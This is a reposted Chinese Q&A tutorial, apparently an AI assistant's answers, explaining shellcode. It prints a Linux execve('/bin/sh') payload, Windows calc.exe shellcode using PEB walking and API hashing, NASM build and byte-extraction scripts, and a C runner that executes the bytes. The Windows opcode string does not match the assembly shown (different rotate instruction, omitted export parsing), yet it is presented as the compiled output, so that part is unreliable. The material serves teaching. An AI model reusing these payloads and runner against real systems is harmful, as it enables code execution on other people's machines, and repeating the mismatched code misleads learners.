好的,我们来详细地解释一下什么是 Shellcode。

核心定义

Shellcode 是一段精炼的、用作有效载荷(Payload) 的机器代码。它之所以叫这个名字,是因为最初这类代码的唯一目的就是启动一个命令行 Shell(例如 /bin/sh),从而让攻击者能够控制被入侵的机器。

如今,这个术语的含义已经扩展,泛指任何被注入到漏洞利用程序(Exploit)中并执行的机器代码,其功能不再局限于获取 Shell,也可以是执行其他操作,如创建用户、下载文件、反弹连接等。


关键特性

  1. 机器代码(Machine Code): Shellcode 不是用高级语言(如 C、Python)写的,而是直接由 CPU 能够理解和执行的二进制操作码(Opcode)组成。它通常由汇编语言编写,然后编译成十六进制字符串。

  2. 位置无关代码(PIC): 这是 Shellcode 一个至关重要的特性。攻击者在注入代码时,无法提前知道代码会被加载到内存的哪个地址执行。因此,Shellcode 必须被设计成不包含任何绝对内存地址。它必须使用相对跳转和调用,并通过特殊技巧(如 jmp/call/pop 指令)来动态地确定自身在内存中的位置,从而访问其内部的数据(如字符串)。

  3. 紧凑小巧: 通常,Shellcode 需要通过缓冲区溢出之类的漏洞被注入。这些漏洞所能利用的内存空间(缓冲区)往往非常有限。因此,Shellcode 必须尽可能短小精悍,用最少的字节完成所需的功能。

  4. 避免空字节(Null-Free): 在许多情况下,Shellcode 是通过字符串处理函数(如 strcpy)注入的。这些函数会将在遇到空字节(\x00 时停止拷贝,因为空字节在 C 语言中表示字符串的结束。如果 Shellcode 中间包含空字节,它就会被截断,导致无法完整注入和执行。因此,编写 Shellcode 时需要精心选择指令,避免产生空字节的操作码。


Shellcode 是如何工作的?

一个典型的漏洞利用过程如下:

  1. 发现漏洞:攻击者找到一个软件中的漏洞(如栈溢出、堆溢出、Use-After-Free 等),该漏洞允许向程序的内存中写入超出预期范围的数据。
  2. 注入代码:攻击者构造一段特殊的数据(通常称为“Exploit”或“攻击向量”),这段数据包含了精心设计的 Shellcode
  3. 劫持控制流:利用漏洞,攻击者覆盖了函数返回地址、函数指针或异常处理程序等关键数据,将程序的执行流程重定向到已被注入内存的 Shellcode 的起始地址。
  4. 执行代码:CPU 开始执行 Shellcode。由于 Shellcode 是有效的机器码,它会按照攻击者的意图运行。
  5. 达成目标:Shellcode 执行其功能,例如:
    • 启动一个系统 Shell(/bin/sh 或 cmd.exe)。
    • 建立一个反向 TCP 连接,连接回攻击者的机器。
    • 下载并执行恶意软件。
    • 提升当前进程的权限。
    • 修改文件或注册表。

一个简单的例子(Linux x86)

下面是一个经典的 Linux x86 Shellcode 的汇编代码,它的功能是执行 execve(“/bin/sh”, 0, 0)

section .textglobal _start_start:; 将字符串 ‘/bin//sh’ 的地址压入栈xor eax, eax        ; 将 eax 清零push eax            ; 将字符串结束符 null 压栈push 0x68732f2f     ; 压入 ‘hs//’push 0x6e69622f     ; 压入 ‘nib/’; 设置 execve 的参数mov ebx, esp        ; ebx = 指向 ‘/bin//sh’ 的指针 (filename)mov ecx, eax        ; ecx = 0 (argv)mov edx, eax        ; edx = 0 (envp); 发起系统调用mov al, 11          ; execve 的系统调用号是 11int 0x80            ; 触发中断,调用内核

将其编译并提取操作码后,得到的 Shellcode 十六进制形式类似于: \x31\xc0\x50\x68\x2f\x2f\x73\x68\x68\x2f\x62\x69\x6e\x89\xe3\x89\xc1\x89\xc2\xb0\x0b\xcd\x80

这段代码非常短,没有绝对地址(使用栈指针 ESP),并且通过巧妙的指令选择(如 xor eax, eax 而不是 mov eax, 0)避免了空字节。


现代发展

随着安全防护技术的进步(如 NX(不可执行内存)ASLR(地址空间布局随机化)DEP(数据执行保护)),传统直接将 Shellcode 注入栈或堆并执行的方式变得困难。

因此,出现了更高级的技术:

  • Return-Oriented Programming (ROP):不注入任何新代码,而是利用程序中已有的代码片段(gadgets),通过精心编排栈上的返回地址,将这些片段串联起来达到目的。ROP 链是现代漏洞利用中取代传统 Shellcode 的常见手段。
  • Egg Hunting:当空间不足时,先注入一小段代码(egg hunter),它的任务是在内存中搜索另一块更大的主要 Shellcode(通过一个特定的标记“egg”来识别),然后跳转到那里执行。

总结

特性描述
本质一段精炼的、用作有效载荷的机器代码
目的最初是启动一个 Shell,现在泛指漏洞利用中执行的任何恶意代码。
关键要求位置无关紧凑避免空字节
如何工作通过漏洞注入内存,并劫持程序控制流来执行它。
现代挑战安全机制(NX, ASLR)使得传统 Shellcode 更难执行,催生了 ROP 等技术。

简单来说,Shellcode 就是漏洞利用的“子弹”,是最终实现攻击者意图的那段核心代码。

能否举一个例子,Windows Shellcode的汇编代码 好的,当然可以。这是一个经典的 Windows x86 Shellcode 的例子,它的功能是弹出 Windows 计算器(calc.exe)。这是一个非常常见的“概念证明”(Proof-of-Concept)Shellcode,因为它无害但能清晰地证明代码执行成功了。

代码功能分析

在 Windows 上,启动一个程序最常用的 API 函数是 WinExec 或 CreateProcess。这个例子我们将使用 WinExec,因为它更简单。

我们的目标是让 Shellcode 执行这条 C 代码:

WinExec("calc.exe", 1);

为了实现这个目标,Shellcode 需要完成以下几个步骤:

  1. 定位 WinExec 的地址:因为 Shellcode 被注入到不同进程中,WinExec 的地址每次都可能不同。我们需要动态解析它。
  2. 将字符串 "calc.exe" 存入内存:需要将字符串以 null 结尾的形式放入寄存器或栈中。
  3. 设置函数参数:按照 stdcall 调用约定,将参数从右向左压栈。
  4. 调用函数:使用 call 或 jmp 指令跳转到 WinExec 的地址。

汇编代码示例 (x86)

下面的汇编代码使用了在 Windows Shellcode 中非常经典的 “通过 PEB 遍历获取 Kernel32.dll 基地址,并解析 WinExec 地址” 的技术。

section .textglobal _start_start:jmp short get_data       ; 1. 跳转到获取数据的地方; 2. 定义回调函数(用于动态获取API地址)
resolve_api:mov ebp, [esp]           ; 将返回地址(指向API名称字符串)存入ebpxor eax, eax             ; 清空eaxmov edx, [fs:eax+0x30]   ; 从TEB->PEB获取PEB地址mov edx, [edx+0x0C]      ; PEB->Ldrmov edx, [edx+0x14]      ; PEB->Ldr.InMemoryOrderModuleList.Flink (第一个模块); 遍历模块列表寻找kernel32.dll
next_module:mov esi, [edx+0x28]      ; 获取模块基名(UNICODE_STRING)movzx ecx, word [edx+0x26] ; 获取名称长度xor edi, edi             ; 清空edi,用于计算哈希; 计算模块名称哈希(一种常见的规避技术,避免直接字符串比较)
loop_modname:lodsb                    ; 加载一个字节(ANSI)test al, aljz check_hashcmp al, 'a'jl not_lowercasesub al, 0x20             ; 转换为大写
not_lowercase:rol edi, 7               ; 循环左移7位add edi, eax             ; 将字符加到哈希中jmp short loop_modname
check_hash:cmp edi, 0x6A4ABC5B      ; 这是 "KERNEL32.dll" 的预计算哈希值jne next_module; 找到kernel32.dll,现在解析其导出表mov edx, [edx+0x10]      ; 获取DLL基地址mov eax, edx             ; eax = kernel32.dll 基地址; ... (这里省略了复杂的导出表解析循环,通常会用哈希比较API名称) ...; 假设我们通过解析,成功将WinExec的地址放入了eaxjmp short execute_code   ; 跳转到执行部分; 3. 获取数据(字符串)
get_data:call resolve_api         ; 调用函数,同时将字符串地址压栈; 这里定义要使用的API函数名称和命令字符串db 'WinExec',0           ; API名称字符串db 'calc.exe',0          ; 要执行的命令字符串; 4. 执行核心功能
execute_code:; 此时eax中应该是WinExec的地址mov ebx, eax             ; 将WinExec地址保存到ebx; 将"calc.exe"字符串的地址放入栈中pop esi                  ; pop返回地址,它指向'WinExec',0后面的'calc.exe'push 1                   ; 第二个参数: uCmdShow = 1 (SW_SHOWNORMAL)push esi                 ; 第一个参数: lpCmdLine = "calc.exe"call ebx                 ; 调用WinExec; 退出进程(可选,但为了整洁)push 0                   ; exit code; 同样需要解析ExitProcess的地址,这里为了简化,我们直接使用jmp $; 在实际Shellcode中,你会像找WinExec一样找到ExitProcess并调用它jmp $                    ; 无限循环(在实际利用中,这可能导致崩溃,但用于演示)

关键技术与挑战

  1. 动态解析API地址

    • 现代操作系统使用 ASLR,所以像 WinExec 这样的函数地址每次启动都不同。
    • Shellcode 通过遍历进程的 PEB(进程环境块) 和 LDR_MODULE 链表 来先找到 kernel32.dll 的基地址。
    • 然后解析 kernel32.dll 的导出表(EAT),通过函数名称的哈希值(而不是明文字符串,为了节省空间和规避检测)来查找 WinExec 的实际地址。
  2. 避免空字节

    • 注意指令的选择。例如,使用 xor eax, eax 来清零寄存器,而不是 mov eax, 0,因为后者的编译结果可能包含空字节。
  3. 获取数据地址

    • 使用 call/pop 技巧来动态获取存储在代码中的字符串(如 "calc.exe")的地址。call 指令会将下一条指令的地址(即字符串的地址)压入栈中。

实际可用的形式

上面的代码是一个简化版的教学示例。在现实中,专家会将其编译并提取出操作码(Opcode),形成一串十六进制的字节序列,也就是真正的 Shellcode。它看起来会是这样的(每台机器可能不同):

\xeb\x2e\x5b\x8b\xec\x33\xc0\x64\x8b\x50\x30\x8b\x52\x0c\x8b\x52\x14\x8b\x72\x28\x66\x8b\x4a\x26\x33\xff\xac\x3c\x61\x7c\x02\x2c\x20\xc1\xcf\x0d\x03\xf8\xe2\xf0\x81\xff\x5b\xbc\x4a\x6a\x75\xe9\x8b\x52\x10\x8b\xc2\xeb\x0c\xe8\xcd\xff\xff\xff\x57\x69\x6e\x45\x78\x65\x63\x00\x63\x61\x6c\x63\x2e\x65\x78\x65\x00\x8b\xd8\x5e\x6a\x01\x56\xff\xd3\x6a\x00\xeb\xfe

这段十六进制代码可以被嵌入到 C 或 Python 的漏洞利用脚本中,作为 payload 注入。

总结

这个 Windows Shellcode 的例子展示了其核心复杂性:它必须完全自包含,不依赖任何固定地址,并能在陌生的运行时环境中智能地定位所需的功能。这远不是简单的机器代码,而是经过精心设计的、适应性强的一段程序。

上面的例子中,怎样将汇编代码编译并提取操作码,最终形成shellcode? 好的,这是一个非常关键的步骤。我们将以之前那个弹出计算器的 Windows x86 Shellcode 的简化版为例,详细讲解从汇编代码到最终 Shellcode 字节流的完整过程。

为了教学清晰,我们使用一个更简单、更直接的代码版本,它假设我们已经通过其他方法知道了 WinExec 的地址(在实际漏洞中,这通常是通过动态解析获得的)。

步骤 1:编写汇编代码(简化版)

创建一个文件,例如 shellcode.asm

; shellcode.asm
[BITS 32] ; 生成32位代码global _start_start:jmp short get_command   ; 1. 跳转到获取命令字符串的地方exec_command:; 2. 此时栈顶是字符串"calc.exe"的地址pop ebx                 ; EBX = "calc.exe" 字符串的指针; 3. 将参数压栈 (从右向左)xor eax, eax            ; 清零EAXpush eax                ; 字符串结尾的NULL(可选,但WinExec可能不需要)push ebx                ; 将字符串指针压栈 (lpCmdLine); 4. 调用 WinExec; !! 注意:这是一个硬编码的地址,仅适用于特定系统/Service Pack!; 在真实Shellcode中,这里应该是动态解析出的地址mov eax, 0x768a3c80     ; 将WinExec的地址(示例地址)放入EAXcall eax                ; 调用 WinExec(lpCmdLine); 5. 优雅退出 (同样需要动态解析ExitProcess)xor eax, eaxpush eax                ; uExitCode = 0mov eax, 0x76891234     ; 假设的ExitProcess地址call eax; 如果没有ExitProcess,就无限循环(防止崩溃时产生大量错误日志,便于调试); jmp short $get_command:call exec_command       ; 6. 调用函数,同时将下一条指令地址(即字符串地址)压栈db 'calc.exe', 0        ; 7. 这就是要执行的命令字符串db 0                    ; 额外的NULL终止符,确保安全

重要警告:上面的 0x768a3c80 和 0x76891234 是硬编码的地址。它们几乎肯定在你的电脑上是错误的。真正的 Shellcode 会包含一段复杂的代码来动态查找这些地址。这里为了演示编译过程,我们先使用这个简化版。


步骤 2:编译和链接(使用 NASM 和 Microsoft Linker)

我们需要将汇编代码编译成纯二进制文件,不包含任何PE头、重定位表等元数据。

  1. 安装工具

    • NASM (Netwide Assembler): 用于编译汇编代码。
    • Visual Studio 的命令行工具(如 link.exe)。
  2. 编译为目标文件 (.obj): 打开 “x86 Native Tools Command Prompt for VS”,导航到 shellcode.asm 所在目录,运行:

    nasm -f win32 shellcode.asm -o shellcode.obj
    • -f win32:指定输出格式为 32 位 Windows 目标文件。
  3. 链接为可执行文件 (.exe)(可选,用于测试): 为了测试我们的汇编代码逻辑是否正确,可以先把它链接成一个正常的PE文件。

    link /NOLOGO /SUBSYSTEM:CONSOLE /ENTRY:_start shellcode.obj /OUT:test_shellcode.exe
    • /ENTRY:_start:指定入口点为我们的 _start 标签。
    • 运行 test_shellcode.exe,如果地址正确,它会弹出计算器然后退出。

步骤 3:提取原始操作码(Shellcode)

我们不需要一个可执行的 .exe 文件,我们只需要其中的代码段(.text section)的原始字节。

  1. 使用 objdump 或 ndisasm 反汇编查看(可选)

    objdump -d shellcode.obj -M intel

    这会列出代码的汇编指令和对应的机器码,方便你验证。

  2. 使用十六进制编辑器直接提取: 最直接的方法是使用命令行工具将 .obj 文件的内容以十六进制形式输出。 推荐使用 xxd 或 hexdump。但Windows默认没有这些工具,我们可以用 PowerShell 或 Python 替代。

    方法 A:使用 NASM 直接输出纯二进制文件 这是最佳方法。NASM 可以跳过链接步骤,直接输出没有任何头文件的原始机器码。

    nasm -f bin shellcode.asm -o shellcode.bin

    现在 shellcode.bin 文件里就是纯粹的 Shellcode 字节。

  3. 查看和格式化 Shellcode: 现在我们有了纯二进制文件 shellcode.bin,我们需要将它转换为能在代码中使用的格式(如 \x41\x2a\xc3...)。

    使用 Python(最简单跨平台的方法): 创建一个 extract.py 文件:

    # extract.py
    with open('shellcode.bin', 'rb') as f:data = f.read()shellcode_str = ''
    for byte in data:shellcode_str += f'\\x{byte:02x}' # 格式化为\x形式print(shellcode_str)# 可选:打印为C/Python数组格式
    print()
    print("C/Python 数组:")
    print(', '.join(f'0x{byte:02x}' for byte in data))

    然后运行:

    python extract.py

    使用 PowerShell

    [byte[]]$shellcode = Get-Content -Path "shellcode.bin" -Encoding Byte
    $hexString = ($shellcode | ForEach-Object { '\x{0:x2}' -f $_ }) -join ''
    Write-Output $hexString

最终输出

运行上面的 Python 或 PowerShell 脚本后,你会得到类似这样的输出:

原始字节流: \xeb\x1e\x5b\x31\xc0\x50\x53\xb8\x80\x3c\x8a\x76\xff\xd0\x31\xc0\x50\xb8\x34\x12\x89\x76\xff\xd0\xeb\xfe\xe8\xdd\xff\xff\xff\x63\x61\x6c\x63\x2e\x65\x78\x65\x00\x00

C/Python 数组格式: 0xeb, 0x1e, 0x5b, 0x31, 0xc0, 0x50, 0x53, 0xb8, 0x80, 0x3c, 0x8a, 0x76, 0xff, 0xd0, 0x31, 0xc0, 0x50, 0xb8, 0x34, 0x12, 0x89, 0x76, 0xff, 0xd0, 0xeb, 0xfe, 0xe8, 0xdd, 0xff, 0xff, 0xff, 0x63, 0x61, 0x6c, 0x63, 0x2e, 0x65, 0x78, 0x65, 0x00, 0x00

现在,这个字符串或数组就是你的 Shellcode。你可以把它嵌入到你的漏洞利用代码中:

C 语言示例

#include <stdio.h>
#include <string.h>// 我们的Shellcode
unsigned char code[] = \
"\xeb\x1e\x5b\x31\xc0\x50\x53\xb8\x80\x3c\x8a\x76\xff\xd0"
"\x31\xc0\x50\xb8\x34\x12\x89\x76\xff\xd0\xeb\xfe\xe8\xdd"
"\xff\xff\xff\x63\x61\x6c\x63\x2e\x65\x78\x65\x00\x00";int main() {printf("Shellcode Length: %d\n", strlen(code));// 将函数指针指向Shellcode并执行int (*ret)() = (int(*)())code;ret();return 0;
}

(注意:在现代系统上编译此C代码需要禁用NX保护,例如使用 gcc -z execstack -o test test.c)。

总结流程

  1. 编写 .asm:用汇编写出逻辑。
  2. nasm -f bin ...:编译成纯二进制文件(.bin)。这是最关键的一步,它避免了任何文件头。
  3. 编写提取脚本:用 Python/PowerShell 等脚本将 .bin 文件内容转换为 \xXX 格式的字符串。
  4. 嵌入利用代码:将生成的字符串放入你的漏洞利用程序(Exploit)中。

这个过程的核心是 nasm -f bin,它直接生成我们需要的、无任何冗余数据的原始机器码。

本文来自互联网用户投稿,该文观点仅代表作者本人,不代表本站立场。本站仅提供信息存储空间服务,不拥有所有权,不承担相关法律责任。
如若转载,请注明出处:http://www.pswp.cn/web/95975.shtml
繁体地址,请注明出处:http://hk.pswp.cn/web/95975.shtml
英文地址,请注明出处:http://en.pswp.cn/web/95975.shtml

如若内容造成侵权/违法违规/事实不符,请联系英文站点网进行投诉反馈email:809451989@qq.com,一经查实,立即删除!

相关文章

线性代数 | 行图像 / 列图像

注&#xff1a;本文为 “线性代数 | 行图像 / 列图像” 相关合辑。 图片清晰度受引文原图所限。 略作重排&#xff0c;未整理去重。 如有内容异常&#xff0c;请看原文。 MIT 线性代数笔记一 行图像和列图像 线性代数行图像与列图像解析 herosunly 已于 2022-01-25 15:34:26 …

Batch Normalization:深度学习中的“加速器”与“稳定器”

在深度学习的世界里&#xff0c;神经网络的训练常常充满了挑战。从复杂的梯度问题到漫长的收敛过程&#xff0c;每一个环节都可能成为阻碍我们前进的绊脚石。而今天&#xff0c;我们要深入探讨的 BatchNormalizationBatch NormalizationBatchNormalization&#xff08;批量归一…

软考备考①

一、数值及其转换和数据的表示1、数值及其转换①任意进制到十进制以二进制为例&#xff0c;以小数点做分割&#xff0c;小数点以左从二的零次方开始&#xff0c;小数点以右从二的负一次方开始。②十进制到任意进制利用短除法③二进制到十六进制分为小数点前和小数点后&#xff…

小程序缓存数据字典

import { getDict } from /api/profile;const CACHE_KEY DICT_CACHE;let dictCache new Map();// 初始化时加载缓存const loadCache () > {const cache uni.getStorageSync(CACHE_KEY);if (cache) {dictCache new Map(JSON.parse(cache));}};// 保存缓存到Storageconst…

Java对象在内存中的布局详解

1、Java 对象内存布局&#xff08;HotSpot 虚拟机&#xff09;在 ​HotSpot 虚拟机​ 中&#xff0c;一个 Java 对象在堆内存中的存储布局可以分为以下几个部分&#xff1a;1、对象头&#xff08;Object Header&#xff09;​对象头是对象内存布局中最重要的部分之一&#xff0…

钾元素:从基础认知到多元应用与前沿探索

一、钾元素的基础认知1.1 钾元素的发现历程在人类历史的长河中&#xff0c;钾的化合物早早就进入了人们的视野&#xff0c;并在生活和生产中得到了应用。古代时期&#xff0c;人们就知晓草木灰里含有钾草碱&#xff0c;即碳酸钾 。在日常的洗涤活动中&#xff0c;碳酸钾发挥了重…

JAiRouter 配置文件重构纪实 ——基于单一职责原则的模块化拆分与内聚性提升

JAiRouter 配置文件重构纪实 ——基于单一职责原则的模块化拆分与内聚性提升 文章目录JAiRouter 配置文件重构纪实 ——基于单一职责原则的模块化拆分与内聚性提升一、背景&#xff1a;单体 YAML 的“熵增”困境二、重构策略&#xff1a;高内聚、低耦合的模块化方案2.1 拆分原则…

惊!printf 不往屏幕输?都是 fd 在搞鬼!爆肝拆解 Linux 文件描述符 + 重定向底层,学会直接在终端横着走

文 章 目 录一、文 件1、基 础 知 识2、C 文 件 接 口&#xff08;1&#xff09;代 码 示 例&#xff08;2&#xff09;当 前 路 径&#xff08;3&#xff09;文 件 权 限&#xff08;4&#xff09;w&#xff08;5&#xff09;a&#xff08;6&#xff09;三 个 输 入 输 出 流3…

【高分论文密码】大尺度空间模拟与不确定性分析及数字制图技术应用

大尺度模拟技术能够从不同的时空尺度揭示农业生态环境领域的内在机理和时空变化规律&#xff0c;为复杂过程模型的模拟提供技术基础。一&#xff1a;R语言空间数据及数据挖掘关键技术1、R语言空间数据讲解及应用特点 1)R语言基础与数据科学 2)R空间矢量数据 3)R栅格数据2、R语言…

Git 工作流与分支管理实战:rebase vs merge 对比、冲突解决、规范 Commit Message 与主干稳定性最佳实践

1. 版本控制与协作流程&#xff08;Git 工作流、分支管理、合并冲突&#xff09; 虽然 Git 用得多&#xff0c;但“rebase vs. merge”、如何解决冲突、如何编写规范的 commit message、如何维护主干的稳定性&#xff0c;都需要一段时间才能形成体系化的理解。 摘要 在日常团队…

调试 cuda kernel

调试 CUDA Kernel 并进入 __device__ 函数是 CUDA 开发中一项非常重要的技能。这主要依赖于 NVIDIA 的官方调试器 NVIDIA Nsight Systems (用于系统级分析) 和 NVIDIA Nsight Compute (用于内核级分析) 以及经典的 cuda-gdb (命令行调试器)。 这里将重点介绍两种最常用和强大的…

GD32自学笔记:4.ADC

while(1)里测试ADC是否正常首先&#xff0c;ADC引脚说明如下&#xff1a;ADC 通道引脚描述ADC_CHANNEL_0PA0端口 A 的引脚 0&#xff0c;可用于模拟信号输入&#xff0c;如传感器或外部电压。ADC_CHANNEL_1PA1端口 A 的引脚 1&#xff0c;常用于模拟输入&#xff0c;适用于一般…

渐变背景色和渐变字体颜色的实现方法

一、渐变背景色&#xff08;Gradient Background&#xff09;1. 线性渐变&#xff08;Linear Gradient&#xff09;通过 linear-gradient 创建从一种颜色到另一种颜色的线性渐变。代码示例<div class"linear-gradient"></div><style> .linear-grad…

Wi-Fi技术——传播与损耗

一、频段和信道 Wi-Fi通过发射无线电进行传输&#xff0c;而无线电的一个重要特性是频率。 频段&#xff1a;一个大的频率范围&#xff0c;如Wi-Fi工作在2.4GHz、5GHz、6GHz&#xff0c;其并不是一个值&#xff0c;而是一个范围信道&#xff1a;在每个频段中划分小的频率范围…

【Mysql-installer-community-8.0.26.0】Mysql 社区版(8.0.26.0) 在Window 系统的默认安装配置

ℹ️大家好&#xff0c;我是练小杰&#xff0c;好久不见了&#xff0c;周末愉快&#xff0c;今天周六了&#xff01;&#xff01;做了CSDN博客才发现&#xff0c;坚持不断发文是那么的困难&#xff0c;大家都是好样的&#xff01;&#xff01;&#x1f606; 本文是针对 Mysql 的…

【RabbitMQ】----初识 RabbitMQ

1. MQ 是什么&#xff1f; 在互联网中&#xff0c;会经常使用 MQ 来作为消息通信服务&#xff0c;我们一起来看一下什么是 MQ 吧&#xff01; 1.1 MQ 本质 【MQ】&#xff08;Message queue&#xff09;&#xff0c;消息队列&#xff0c;字面意思来看&#xff0c;本质是一个…

深度学习:归一化技术

在深度学习中&#xff0c;归一化技术是提高模型训练效率和性能的重要手段。归一化通过调整输入数据的分布&#xff0c;使得模型在训练过程中更易于收敛&#xff0c;减少过拟合的风险。本文将介绍几种常见的归一化技术&#xff0c;包括特征归一化、批归一化、层归一化和实例归一…

【Javaweb学习|实训总结|Week1】html基础,CSS(选择器、常用样式、盒子模型、弹性盒布局、CSS定位、动画),js(基本类型、运算符典例)

开学前三周先进行企业实训&#xff0c;主要学习Javaweb并实现一些小的项目&#xff0c;本篇笔记主要记录第一周实训的知识总结以及个人遇到的问题及解答&#xff0c;用于日后复习回顾和知识巩固&#xff0c;希望可以帮到同样在学Javaweb的大家 文章目录D1html基础D2块元素与行…

SQL 拓展指南:不同数据库差异对比(MySQL/Oracle/SQL Server 基础区别)

在学习 SQL 的过程中&#xff0c;你可能会发现&#xff1a;同样的 “建表语句” 在 MySQL 能运行&#xff0c;在 Oracle 却报错&#xff1b;“分页查询” 的写法在 SQL Server 和 MySQL 完全不同。这是因为 MySQL、Oracle、SQL Server 是三大主流关系型数据库&#xff0c;虽都支…

论文阅读:DMD | Improved Distribution Matching Distillation for Fast Image Synthesis

论文地址&#xff1a;https://arxiv.org/abs/2405.14867 项目官网&#xff1a;https://tianweiy.github.io/dmd2/ 代码地址&#xff1a;https://github.com/tianweiy/DMD2 发表时间&#xff1a;2024年5月24日 分布匹配蒸馏&#xff08;DMD&#xff09;生成的一步生成器能够与教…